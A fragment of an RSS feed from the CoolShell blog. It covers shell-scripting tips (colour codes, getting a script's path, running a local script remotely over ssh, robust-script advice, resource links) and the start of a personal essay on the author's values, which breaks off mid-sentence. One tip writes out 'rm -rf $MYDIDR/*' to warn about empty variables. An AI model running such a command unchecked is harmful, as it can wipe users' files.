High Intensity      BoldHigh Intens     Background          High Intensity Backgrounds\nBla=&#039;\\e[0;30m&#039;;     BBla=&#039;\\e[1;30m&#039;;    UBla=&#039;\\e[4;30m&#039;;    IBla=&#039;\\e[0;90m&#039;;    BIBla=&#039;\\e[1;90m&#039;;   On_Bla=&#039;\\e[40m&#039;;    On_IBla=&#039;\\e[0;100m&#039;;\nRed=&#039;\\e[0;31m&#039;;     BRed=&#039;\\e[1;31m&#039;;    URed=&#039;\\e[4;31m&#039;;    IRed=&#039;\\e[0;91m&#039;;    BIRed=&#039;\\e[1;91m&#039;;   On_Red=&#039;\\e[41m&#039;;    On_IRed=&#039;\\e[0;101m&#039;;\nGre=&#039;\\e[0;32m&#039;;     BGre=&#039;\\e[1;32m&#039;;    UGre=&#039;\\e[4;32m&#039;;    IGre=&#039;\\e[0;92m&#039;;    BIGre=&#039;\\e[1;92m&#039;;   On_Gre=&#039;\\e[42m&#039;;    On_IGre=&#039;\\e[0;102m&#039;;\nYel=&#039;\\e[0;33m&#039;;     BYel=&#039;\\e[1;33m&#039;;    UYel=&#039;\\e[4;33m&#039;;    IYel=&#039;\\e[0;93m&#039;;    BIYel=&#039;\\e[1;93m&#039;;   On_Yel=&#039;\\e[43m&#039;;    On_IYel=&#039;\\e[0;103m&#039;;\nBlu=&#039;\\e[0;34m&#039;;     BBlu=&#039;\\e[1;34m&#039;;    UBlu=&#039;\\e[4;34m&#039;;    IBlu=&#039;\\e[0;94m&#039;;    BIBlu=&#039;\\e[1;94m&#039;;   On_Blu=&#039;\\e[44m&#039;;    On_IBlu=&#039;\\e[0;104m&#039;;\nPur=&#039;\\e[0;35m&#039;;     BPur=&#039;\\e[1;35m&#039;;    UPur=&#039;\\e[4;35m&#039;;    IPur=&#039;\\e[0;95m&#039;;    BIPur=&#039;\\e[1;95m&#039;;   On_Pur=&#039;\\e[45m&#039;;    On_IPur=&#039;\\e[0;105m&#039;;\nCya=&#039;\\e[0;36m&#039;;     BCya=&#039;\\e[1;36m&#039;;    UCya=&#039;\\e[4;36m&#039;;    ICya=&#039;\\e[0;96m&#039;;    BICya=&#039;\\e[1;96m&#039;;   On_Cya=&#039;\\e[46m&#039;;    On_ICya=&#039;\\e[0;106m&#039;;\nWhi=&#039;\\e[0;37m&#039;;     BWhi=&#039;\\e[1;37m&#039;;    UWhi=&#039;\\e[4;37m&#039;;    IWhi=&#039;\\e[0;97m&#039;;    BIWhi=&#039;\\e[1;97m&#039;;   On_Whi=&#039;\\e[47m&#039;;    On_IWhi=&#039;\\e[0;107m&#039;;\n</pre>\n<p>取当前运行脚本绝对路径的示例：（注：Linux下可以用 <code>dirname $(readlink -f $0)</code> ）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nFILE=&quot;$0&quot;\nwhile [[ -h ${FILE} ]]; do\n    FILE=&quot;`readlink &quot;${FILE}&quot;`&quot;\ndone\npushd &quot;`dirname &quot;${FILE}&quot;`&quot; &gt; /dev/null\nDIR=`pwd -P`\npopd &gt; /dev/null\n</pre>\n<p>如何在远程服务器运行一个本地脚本</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">#无参数\nssh user@server &#039;bash -s&#039; &lt; local.script.sh\n\n#有参数\nssh user@server ARG1=&quot;arg1&quot; ARG2=&quot;arg2&quot; &#039;bash -s&#039; &lt; local_script.sh\n</pre>\n<p>如何检查一个命令是否存在，用 <code>which</code> 吗？最好不要用，因为很多操作系统的 <code>which</code> 命令没有设置退出状态码，这样你不知道是否是有那个命令。所以，你应该使用下面的方式。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n# POSIX 兼容:\ncommand -v [the_command]\n\n# bash 环境:\nhash [the_command]\ntype [the_command]\n\n# 示例：\ngnudate() {\n    if hash gdate 2&gt; /dev/null; then\n        gdate &quot;$@&quot;\n    else\n        date &quot;$@&quot;\n    fi\n}\n</pre>\n<p>然后，如果要写出健壮性更好的脚本，下面是一些相关的技巧：</p>\n<ul>\n<li>使用 <code>-e</code> 参数，如：<code>set -e</code> 或是 <code>#!/bin/sh -e</code>，这样设置会让你的脚本出错就会停止运行，这样一来可以防止你的脚本在出错的情况下还在拼拿地干活停不下来。</li>\n<li>使用 <code>-u</code> 参数，如： <code>set -eu</code>，这意味着，如果你代码中有变量没有定义，就会退出。</li>\n<li>对一些变理，你可以使用默认值。如：<code>${FOO:-'default'}</code></li>\n<li>处理你代码的退出码。这样方便你的脚本跟别的命令行或脚本集成。</li>\n<li>尽量不要使用 <code>;</code> 来执行多个命令，而是使用 <code>&amp;&amp;</code>，这样会在出错的时候停止运行后续的命令。</li>\n<li>对于一些字符串变量，使用引号括起，避免其中有空格或是别的什么诡异字符。</li>\n<li>如果你的脚有参数，你需要检查脚本运行是否带了你想要的参数，或是，你的脚本可以在没有参数的情况下安全的运行。</li>\n<li>为你的脚本设置 <code>-h</code> 和 <code>--help</code> 来显示帮助信息。千万不要把这两个参数用做为的功能。</li>\n<li>使用 <code>$()</code> 而不是 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\"></code> 来获得命令行的输出，主要原因是易读。</li>\n<li>小心不同的平台，尤其是 MacOS 和 Linux 的跨平台。</li>\n<li>对于 <code>rm -rf</code> 这样的高危操作，需要检查后面的变量名是否为空，比如：<code>rm -rf $MYDIDR/*</code> 如果 <code>$MYDIR</code>为空，结果是灾难性的。</li>\n<li>考虑使用 &#8220;find/while&#8221; 而不是 “for/find”。如：<code>for F in $(find . -type f) ; do echo $F; done</code> 写成 <code>find . -type f | while read F ; do echo $F ; done</code> 不但可以容忍空格，而且还更快。</li>\n<li>防御式编程，在正式执行命令前，把相关的东西都检查好，比如，文件目录有没有存在。</li>\n</ul>\n<p>你还可以使用ShellCheck 来帮助你检查你的脚本。</p>\n<ul>\n<li><a href=\"https://www.shellcheck.net/\" target=\"_blank\" rel=\"noopener noreferrer\">https://www.shellcheck.net/</a></li>\n</ul>\n<p>最后推荐一些 Shell 和脚本的参考资料。</p>\n<p>各种有意思的命令拼装，一行命令走天涯:</p>\n<ul>\n<li><a href=\"http://www.bashoneliners.com/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">http://www.bashoneliners.com/</a></li>\n<li><a href=\"http://www.shell-fu.org/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">http://www.shell-fu.org/</a></li>\n<li><a href=\"http://www.commandlinefu.com/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">http://www.commandlinefu.com/</a></li>\n</ul>\n<p>下面是一些脚本集中营，你可以在里面淘到各种牛X的脚本：</p>\n<ul>\n<li><a href=\"http://www.shelldorado.com/scripts/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">http://www.shelldorado.com/scripts/</a></li>\n<li><a href=\"https://snippets.siftie.com/public/tag/bash/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">https://snippets.siftie.com/public/tag/bash/</a></li>\n<li><a href=\"https://bash.cyberciti.biz/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">https://bash.cyberciti.biz/</a></li>\n<li><a href=\"https://github.com/alexanderepstein/Bash-Snippets\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/alexanderepstein/Bash-Snippets</a></li>\n<li><a href=\"https://github.com/miguelgfierro/scripts\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/miguelgfierro/scripts</a></li>\n<li><a href=\"https://github.com/epety/100-shell-script-examples\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/epety/100-shell-script-examples</a></li>\n<li><a href=\"https://github.com/ruanyf/simple-bash-scripts\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/ruanyf/simple-bash-scripts</a></li>\n</ul>\n<p>甚至写脚本都可以使用框架:</p>\n<ul>\n<li>写bash脚本的框架 <a href=\"https://github.com/Bash-it/bash-it\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/Bash-it/bash-it</a></li>\n</ul>\n<p>Google的Shell脚本的代码规范：</p>\n<ul>\n<li><a href=\"https://google.github.io/styleguide/shell.xml\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">https://google.github.io/styleguide/shell.xml</a></li>\n</ul>\n<p>最后，别忘了几个和shell有关的索引资源：</p>\n<ul>\n<li><a href=\"https://github.com/alebcay/awesome-shell\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/alebcay/awesome-shell</a></li>\n<li><a href=\"https://github.com/awesome-lists/awesome-bash\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/awesome-lists/awesome-bash</a></li>\n<li><a href=\"https://terminalsare.sexy/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">https://terminalsare.sexy/</a></li>\n</ul>\n<p>最后，如果你还有什么别的更好的玩的东西，欢迎在评论区留言，或是到 <a href=\"https://github.com/coolshellx/articles\" target=\"_blank\" rel=\"noopener noreferrer\">coolshellx/ariticles @ github</a> 修改本文。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19219.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>46</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>谈谈我的“三观”</title>\n\t\t<link>https://coolshell.cn/articles/19085.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19085.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 26 Feb 2019 08:02:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19085</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>也许是人到了四十多了，敢写这么大的命题，我也醉了，不过，我还是想把我的想法记录下来，算是对我思考的一个snapshot，给未来的我看看，要么被未来的我打脸，要么...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19085.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19085.html\">谈谈我的“三观”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2019/02/cross.road_-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" />也许是人到了四十多了，敢写这么大的命题，我也醉了，不过，我还是想把我的想法记录下来，算是对我思考的一个snapshot，给未来的我看看，要么被未来的我打脸，要么打未来我的脸。无论怎么样，我觉得对我自己都很有意义。注意，这篇文章是长篇大论。</p>\n<p>三观是世界观、人生观和价值观，</p>\n<ul>\n<li><strong>世界观代表你是怎么看这个世界的。</strong>是左还是右，是激进还是保守，是理想还是现实，是乐观还是悲观……</li>\n<li><strong>人生观代表你要想成为什么样的人。</strong>是成为有钱人，还是成为人生的体验者，是成为老师，还是成为行业专家，是成为有思想的人，还是成为有创造力的人……</li>\n<li><strong>价值观则是你觉得什么对你来说更重要</strong>。是名是利，是过程还是结果，是付出还是索取，是国家还是自己，是家庭还是职业……</li>\n</ul>\n<p>人的三观其实是会变的，回顾一下我的过去，我感觉我的三观至少有这么几比较明显的变化，学生时代、刚走上社会的年轻时代，三十岁后的时代，还有现在。估计人都差不多吧……</p>\n<ul>\n<li>学生时代的三观更多的是学校给的，用各种标准答案给的，是又红又专的</li>\n<li>刚走上社会后发现完全不是这么一回事，但学生时代的三观根深蒂固，三观开始分裂，内心开始挣扎</li>\n<li>三十岁后，不如意的事越来越多，对社会越来越了解，有些人屈从现实，有些人不服输继续奋斗，而有些人展露才能开始影响社会，而分裂的三观开始收敛，我属于还在继续奋斗的人。</li>\n<li>四十岁时，经历过的事太多，发现留给自己的时间不多，世界太复杂，而还有好多事没做，从而变得与世无争，也变得更为地自我。</li>\n</ul>\n<p><span id=\"more-19085\"></span></p>\n<h4>面对世界</h4>\n<p>年轻的时候，抵制过日货，虽然没上过街，但是也激动过，一次是1999南斯拉夫大使馆被炸，一次是2005反日示威，以前，我也是一个爱国愤青。但是后来，有过各种机会出国长时间生活工作，加拿大、英国、美国、日本……随着自己的经历和眼界的开阔，自己的三观自己也随着有了很多的变化，发现有些事并不是自己一开始所认识的那样，而且还是截然相反的。<strong>我深深感觉到，要有一个好的世界观，你需要亲身去经历和体会这个世界，而不是听别人说</strong>。所以，当我看到身边的人情绪激动地要抵制这个国家，搞死那个民族的时候，我都会建议他去趟那个国家最好在在那个国家呆上一段时间，亲自感受一下。</p>\n<p>再后来发现，要抵制的越来越多，小时候的美英帝国主义，然后是日本，再后面是法国、韩国、菲利宾、印度、德国、瑞典、加拿大……从小时候的台独到现在的港独、藏独、疆独……发现再这样下去，基本上来说，自己的人生也不用干别的事了……另外，随着自己的成长，越来越明白，<strong>抵制这个抵制那个只不过是幼稚和狭隘的爱国主义，真想强国，想别让他人看得起，就应该把时间和精力放在努力学习放在精益求精上，做出比他们更好的东西来。</strong>另外，感觉用对内的爱国主义解决对外的外交问题也有点驴唇不对马嘴，无非也就是转移一下内部的注意力罢了，另外还发现爱国主义还可以成为消费营销手段……<strong>不是我不爱国，是我觉得世道变复杂了，我只是一个普通的老百姓，能力有限，请不要赋予我那么大的使命，我只想在我的专业上精进，能力所能及地帮助身边的人，过一个简单纯粹安静友善的生活</strong>……</p>\n<p>另外，为什么国与国之间硬要比个你高我低，硬要分个高下，硬要争出个输赢，我也不是太理解，世界都已经发展到全球化的阶段了，很多产品早就是你中有我，我中有你的情况了。举个例子，一部手机中的元件，可能来自全世界数十个国家，我们已经说不清楚一部手机是究竟是哪个国家生产的了。即然，整个世界都在以一种合作共赢全球化的姿态下运作，认准自己的位置，拥抱世界，持续向先进国家学习，互惠互利，不好吗？你可能会说，不是我们不想这样，是别人不容我们发展……<strong>老实说，大的层面我也感受不到，但就我在的互联网计算机行业方面，我觉得整个世界的开放性越来越好，开源项目空前地繁荣，世界上互联网文化也空前的开放，在计算机和互联网行业，我们享受了太多的开源和开放的红利，人家不开放，我们可能在很多领域还落后数十年。然而现在很多资源我们都访问不了，用个VPN也非法，你说是谁阻碍了发展？我只想能够流畅地访问互联网，让我的工作能够更有效率，然而，我在自己的家里却像做贼一样去学习新知识新技术，随时都有可能被抓进监狱……</strong></p>\n<p>随着自己的经历越多，发现这个世界越复杂，也发现自己越渺小，很多国家大事并不是我不关心，是我觉得那根本不是我这个平头老百姓可以操心的事，这个世界有这个世界运作的规律和方法，而还有很多事情超出了我能理解的范围，也超出了我能控制的范围，我关心不关心都一个样，这些大事都不会由我的意志所决定的。而所谓的关心，无非就是喊喊口号，跟人争论一下，试图改变其它老百姓的想法，然而，对事情的本身的帮助却没有多大意义。过上几天，生活照旧，人家该搞你还不是继续搞你，而你自己并不因为做这些事而过得更好。</p>\n<p><strong>我对国与国之间的关系的态度是，有礼有节，不卑不亢，对待外国人，有礼貌但也要有节气，既不卑躬屈膝，也不趾高气昂</strong>，整体上，我并不觉得我们比国外有多差，但我也不觉得我们比国外有多好，我们还在成长，还需要帮助和协作，四海之内皆兄弟，无论在哪个国家，在老百姓的世界里，哪有那么多矛盾。<strong>有机会多出去走走，多结交几个其它民族的朋友，你会觉得，在友善和包容的环境下，你的心情和生活可以更好</strong>。</p>\n<p>我现在更多关心的是和我生活相关的东西，比如：上网、教育、医疗、食品、治安、税务、旅游、收入、物价、个人权益、个人隐私……这些东西对我的影响会更大一些，也更值得关注，可以看到过去的几十年，我们国家已经有了长足的进步，这点也让我让感到很开心和自豪的，在一些地方也不输别人。但是，依然有好些事的仍然没有达到我的预期，而且还很糟糕，这个也要承认。而对，未来的变数谁也不好说，我在这个国度里的安全感似乎还不足够，所以，我还是要继续努力，以便我可以有更多的选项。有选项总比没得选要好。所以，<strong>我想尽一切办法，努力让选项多起来，无法改变无法影响，那就只能提高自己有可选择的可能性</strong>。</p>\n<h4>面对社会</h4>\n<p>另外，在网上与别人对一些事或观点的争论，我觉得越来越无聊，以前被怼了，一定要怼回去，现在不会了，视而不见，不是怕了，是因为，网络上的争论在我看来大多数都是些没有章法，逻辑混乱的争论。</p>\n<ul>\n<li>很多讨论不是说事，直接就是怼人骂人。随意就给人扣个帽子。</li>\n<li>非黑即白的划分，你说这个不是黑的，他们就把你划到白的那边。</li>\n<li>飘移观点，复杂化问题。东拉西扯，牵强附会，还扯出其它不相关的事来混淆。</li>\n<li>杠精很多，不关心你的整体观点，抓住一个小辫子大作文章。</li>\n</ul>\n<p>很明显，<strong>与其花时间教育这些人，不如花时间提升自己，让自己变得更优秀，这样就有更高的可能性去接触更聪明更成功更高层次的人</strong>。因为，一方面，你改变不了他们，另外，改变他们对你自己也没什么意义，改变自己，提升自己，让自己成长才有意义。时间是宝贵的，那些人根本不值得花时间，应该花时间去结交更有素质更聪明的人，做更有价值的事。</p>\n<p>美国总统富兰克林·罗斯福妻子埃莉诺·罗斯福（Eleanor Roosevelt）说过下面的一句话。</p>\n<blockquote><p><strong>Great minds discuss ideas;<br />\nAverage minds discuss events;<br />\nSmall minds discuss people</strong></p></blockquote>\n<p>把时间多放在一些想法上，对自己对社会都是有意义的，把时间放在八卦别人，说长到短，你也不可能改善自己的生活，<strong>你批评这个批评那个，看不上这个看不起那个，不会让你有成长，也不会提升你的影响力，你的影响力不是你对别人说长道短的能力，而是别人信赖你并希望得到你的帮助的现象</strong>。多交一些有想法的朋友，多把自己的想法付诸实践，那怕没有成功，你的人生也会比别人过得有意义。</p>\n<p>如果你看过我以前的文章，你会看到一些吐槽性质的文章，而后面就再也没有了。另外，我也不再没有针对具体的某个人做出评价，因为人太复杂的了，经历的越多，你就会发现你很难评价人，与其花时间在评论人和事上，不如把时间花在做一些力所能及的事来改善自己或身边的环境。所以，<strong>我建议大家少一些对人的指责和批评，通过对一件事来引发你的思考，想一想有什么可以改善，有什么方法可以做得更好，有哪些是自己可以添砖加瓦的？你会发现，只要你坚持这么做，你个人的提升和对社会的价值会越来越大，而你的影响力也会越来越大</strong>。</p>\n<h4>面对人生</h4>\n<p>现在的我，即不是左派也不是右派，我不喜欢爱国主义，我也不喜欢崇洋媚外，我更多的时候是一个自由派，哪边我都不站，我站我自己。因为，生活在这样的一个时代，能让自己过好都是一些比较奢望的事了。</p>\n<p>《教父》里有这样的人生观：<strong>第一步要努力实现自我价值，第二步要全力照顾好家人，第三步要尽可能帮助善良的人，第四步为族群发声，第五步为国家争荣誉。事实上作为男人，前两步成功，人生已算得上圆满，做到第三步堪称伟大，而随意颠倒次序的那些人，一般不值得信任</strong>。这也是古人的“修身齐家治国平天下”！所以，在你我准备要开始要“平天下”的时候，也得先想想，自己的生活有没有过好了，家人照顾好了么，身边有哪些力所能及的事是可以去改善的……</p>\n<p>穷则独善其身，达则兼济天下。提升自己，实现自我，照顾好自己的家人，帮助身边的人。这已经很不错了！</p>\n<p>什么样的人干什么样的事，什么样的阶段做什么样的选择，<strong>有人的说，选择比努力更重要的，我深以为然，而且，我觉得选择和决定，比努力更难</strong>，努力是认准了一个事后不停地发力，而决定要去认准哪个事是自己该坚持努力的，则是令人彷徨和焦虑的（半途而废的人也很多）。面对人生，你每天都在作一个一个的决定，在做一个又一个的选择，有的决定大，有的决定小，你的人生的轨迹就是被这一个一个的决定和选择所走走出来的。</p>\n<p>我在24岁放弃了一房子离开银行到小公司的时候，我就知道，人生的选择就是一个翘翘板，你要一头就没有另一头，<strong>选择是有代价的，你不选择的代价更大；选择是要冒险的，你不敢冒险的风险更大；选择是需要放弃的，因为无论怎么选你都会要放弃。想想你老了以后，回头一看，好多事情在年轻的时候都不敢做，而你再也没有机会，你就知道不敢选择不敢冒险的代价有多大了。</strong>选择就是一种 trade-off，这世上根本不会有什么完美，只要你想做事，你有雄心壮志，你的人生就是一个坑接着一个坑，你所能做的就是找到你喜欢的方向跳坑。</p>\n<p>所以， 你要想清楚你要什么，不要什么，而且还不能要得太多，这样你才好做选择。否则，你影响你的因子太多，决定不好做，也做不好。</p>\n<p>就像最前面说的一样，你是激进派还是保守派，你是喜欢领导还是喜欢跟从，你是注重长期还是注重短期，你是注重过程还是注重结果……等等，你对这些东西的坚持和守护，成为了你的“三观”，而你的三观则影响着你的选择，而你的选择影响着你的人生。</p>\n<h4>价值取向</h4>\n<p>下面是一些大家经常在说，可能也是大多数人关心的问题，就这些问题，我也谈谈我的价值取向。</p>\n<p><strong>挣钱</strong>。挣钱是一个大家都想做的事，但你得解决一个很核心的问题，那就是为什么别人愿意给你钱？对于挣钱的价值观从我大学毕业到现我就没怎么变过，那就是我更多关注的是怎么提高自己的能力，让自己值那个价钱，让别人愿意付钱。另外一方面，我发现，<strong>越是有能力的人，就越不计较一些短期得失，越计较短期得失的人往往都是很平庸的人</strong>。有能力的人不会关心自己的年终奖得拿多少，会不会晋升，他们更多的关心自己真正的实力有没有超过更多的人，更多的关注的是自己长远的成长，而不是一时的利益。聪明的人从来不关心眼前的得失，不会关心表面上的东西，他们更多关心的是长期利益，关心长期利益的人一定不是投机者，一定是投资者，<strong>投资会把自己的时间精力金钱投资在能让自己成长和提升的地方，那些让自己可以操更大的盘的地方，他们培养自己的领导力和影响力。</strong>而投机者在职场上会通过溜须拍马讨好领导，在学习上追求速成，在投资上使用跟随策略，在创业上甚至会不择手段，当风险来临时，投机者是几乎完全没有抗风险能力的，他们所谓的能力只不过因为形势好。</p>\n<p>&nbsp;</p>\n<p><strong>技术</strong>。对于计算机技术来说，要学的东西实在是太多，我并不害怕要学的东西很多，因为学习能力是一个好的工程师必需具备的事，我不惧怕困难和挑战。我觉得在语言和技术争论谁好谁坏是一种幼稚的表现， 没有完美的技术，Engineering 玩的是 Tradeoff。所以，我对没有完美的技术并不担心，但是我反而担心的是，当我们进入到一些公司后，这些公司会有一些技术上的沉淀也就是针对公司自己的专用技术，比如一些中间件，一些编程框架，lib库什么的。老实说，我比较害怕公司的专用技术，因为一旦失业，我建立在这些专用技术上的技能也会随之瓦解，有时候，我甚至害怕把我的技术建立在某一个平台上，小众的不用说了，大众的我也比较担扰，比如Windows或Unix/Linux上，因为一旦这个平台不流行或是被取代，那么我也会随之淘汰（过去的这20年已经发生过太多这样的事了）。为了应对这样的焦虑，<strong>我更愿意花时间在技术的原理和技术的本质上，这导致我需要了解各种各样的技术的设计方法，以及内在原理。</strong>所以，当国内的绝大多数程序员们更多的关注架构性能的今天，我则花更多的时间去了解编程范式，代码重构，软件设计，计算机系统原理，领域设计，工程方法……因为只有原理、本质和设计思想才可能让我不会被绑在某个专用技术或平台上，除非，我们人类的计算机这条路没走对。</p>\n<p>&nbsp;</p>\n<p><strong>职业</strong>。在过去20多年的职业生涯中，我从基层工程师做到管理，很多做技术的人都会转管理，但我却还是扎根技术，就算是在今天，还是会抠很多技术细节，包括写代码。因为我心里觉得，不写代码的人一定是做不好技术管理的，因为做技术管理有人要做技术决定，从不上手技术的人是做不好技术决定的，另一方面，我觉得管理是支持性的工作，不是产出性的工作，大多数的管理者无非是因为组织大了，所以需要管人管事，所以，必然要花大量的时间和精力处理各种问题，甚至办公室政治，然而，如果有一天失业了，大环境变得不好了，一个管理者和一个程序员要出去找工作，程序员会比管理者更能自食其力。所以，我并不觉得管理者这个职业有意思，我还是觉得程序员这个有创造性的职业更有趣。<strong>通常来说，管理者的技能力需要到公司和组织里才能展现，而有创造力的技能的人是可以自己独立的能力，所以，我觉得程序员的技能比管理者的技能能让我更稳定更自地活着</strong>。所以，我更喜欢“<a href=\"https://coolshell.cn/articles/4951.html\" target=\"_blank\" rel=\"noopener noreferrer\">电影工作组</a>”那样的团队和组织形式。</p>\n<p>&nbsp;</p>\n<p><strong>打工</strong>。对于打工，也就是加入一家公司工作，无论是在一家小公司还是一家大公司工作，都会有好的和不好的，任何公司都有其不完美的地方，这个需要承认。首先第一的肯定是完成公司交给你的任务（但我也不会是傻傻地完成工作，对于一些有问题的任务我也会提出我的看法），然后我会尽我所能在工作找到可以提高效率的地方进行改善。在推动公司/部门/团队在一技术和工程方面进步并不是一件很容易的事，因为进步是需要成本的，有时候，这种成本并不一定是公司和团队愿意接受的，而另外，从客观规律上来说，一件事的进步一定是会有和现状有一些摩擦的。有的人害怕有摩擦而忍了，而我则不是，我觉得与别人的摩擦并不可怕，因为大家的目标都是基本一致的，只是做事的标准和方式不一样，这是可能沟通的，始终是会相互理解的。而如果你没有去推动一个事，我觉得对于公司对于我个人来说，都是一种对人生的浪费，敬业也好，激情也好，其就是体现在你是否愿意冒险去推动一件于公于私都有利的事，而不是成为一个“听话”、“随大流”、“懒政”的人，即耽误了公司也耽误了自己。所以，我更信仰的是《<a href=\"http://www.aqee.net/post/do-the-right-thing-wait-to-get-fired.html\" target=\"_blank\" rel=\"noopener noreferrer\">做正确的事情，等着被开除</a>》，这些东西，可参看《<a href=\"https://coolshell.cn/articles/17972.html\" target=\"_blank\" rel=\"noopener noreferrer\">我看绩效考核</a>》，以及我在<a href=\"https://mp.weixin.qq.com/s?__biz=MzUyOTA1NTkzNw==&amp;mid=2247484417&amp;idx=1&amp;sn=316f9f6d6ac7cdca97123815a67a665a&amp;chksm=fa67adafcd1024b948caed0e5528c4817a7ef2b1b1a3ab8da34e0ff4231b28c2659ee9951112#rd\" target=\"_blank\" rel=\"noopener 